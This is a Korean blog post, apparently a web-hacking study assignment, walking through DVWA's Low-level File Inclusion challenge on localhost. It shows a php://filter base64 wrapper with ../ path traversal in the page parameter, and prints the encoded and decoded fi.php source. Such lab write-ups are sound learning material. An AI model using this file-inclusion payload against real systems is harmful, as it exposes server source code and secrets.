Vulnerability: File Inclusion
Burp Suite으로 패킷을 확인해보니 아무런 필터링도 거치지 않고 파일 이름을 파라미터로 받아서 include 하고 있다.
파일들을 눌러보았더니
url에서 include부분만 파일명으로 바뀌는 것을 확인했다.
file4를 입력해보니 숨겨진 파일을 확인할 수 있었다.
이제 목적대로 fi.php로 접속해보자.
좋은 시도였지만 include 파일을 사용하라는 메시지가 확인된다.
이번에는 url의 include를 fi.php로 변경해보았다.
5개중에 1, 2, 4만 확인이 된다.
소스코드를 직접 읽어봐야 숨겨진 인용문을 확인할 수 있을 것이다.
php Wrapper의 PHP Filter를 사용해보자.
php://filter/convert.base64-encode/resource=
리소스를 읽을 때 base64로 인코딩하는 필터(convert.base64-encode)를 적용한다는 의미이다.
이를 적용하여 아래 링크로 접속해보았다.
http://localhost/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../hackable/flags/fi.php
위처럼 base64로 인코딩 된 fi.php 파일의 소스코드를 확인할 수 있다.
PD9waHAKCmlmKCAhZGVmaW5lZCggJ0RWV0FfV0VCX1BBR0VfVE9fUk9PVCcgKSApIHsKCWV4aXQgKCJOaWNlIHRyeSA7LSkuIFVzZSB0aGUgZmlsZSBpbmNsdWRlIG5leHQgdGltZSEiKTsKfQoKPz4KCjEuKSBCb25kLiBKYW1lcyBCb25kCgo8P3BocAoKZWNobyAiMi4pIE15IG5hbWUgaXMgU2hlcmxvY2sgSG9sbWVzLiBJdCBpcyBteSBidXNpbmVzcyB0byBrbm93IHdoYXQgb3RoZXIgcGVvcGxlIGRvbid0IGtub3cuXG5cbjxiciAvPjxiciAvPlxuIjsKCiRsaW5lMyA9ICIzLikgUm9tZW8sIFJvbWVvISBXaGVyZWZvcmUgYXJ0IHRob3UgUm9tZW8/IjsKJGxpbmUzID0gIi0tTElORSBISURERU4gOyktLSI7CmVjaG8gJGxpbmUzIC4gIlxuXG48YnIgLz48YnIgLz5cbiI7CgokbGluZTQgPSAiTkM0cEkiIC4gIkZSb1pTQndiMjlzIiAuICJJRzl1SUgiIC4gIlJvWlNCeWIyOW1JRzEiIC4gIjFjM1FnYUdGIiAuICIyWlNCaCIgLiAiSUd4bFkiIC4gIldzdSI7CmVjaG8gYmFzZTY0X2RlY29kZSggJGxpbmU0ICk7Cgo/PgoKPCEtLSA1LikgVGhlIHdvcmxkIGlzbid0IHJ1biBieSB3ZWFwb25zIGFueW1vcmUsIG9yIGVuZXJneSwgb3IgbW9uZXkuIEl0J3MgcnVuIGJ5IGxpdHRsZSBvbmVzIGFuZCB6ZXJvZXMsIGxpdHRsZSBiaXRzIG9mIGRhdGEuIEl0J3MgYWxsIGp1c3QgZWxlY3Ryb25zLiAtLT4K
이를 디코딩하면 아래와 같이 php 소스코드를 확인할 수 있다.
<?php
if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {
exit ("Nice try ;-). Use the file include next time!");
}
?>
1.) Bond. James Bond
<?php
echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";
$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?";
$line3 = "--LINE HIDDEN ;)--";
echo $line3 . "\n\n<br /><br />\n";
$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu";
echo base64_decode( $line4 );
?>
<!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->
숨겨져있던 3, 5 인용문도 확인되었다.
'빡공팟(P4C)' 카테고리의 다른 글
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #Insecure CAPTCHA (0) | 2022.10.23 |
---|---|
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #File Upload (0) | 2022.10.23 |
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #CSRF (0) | 2022.10.23 |
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #Command Injection (0) | 2022.10.23 |
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #Brute Force (0) | 2022.10.23 |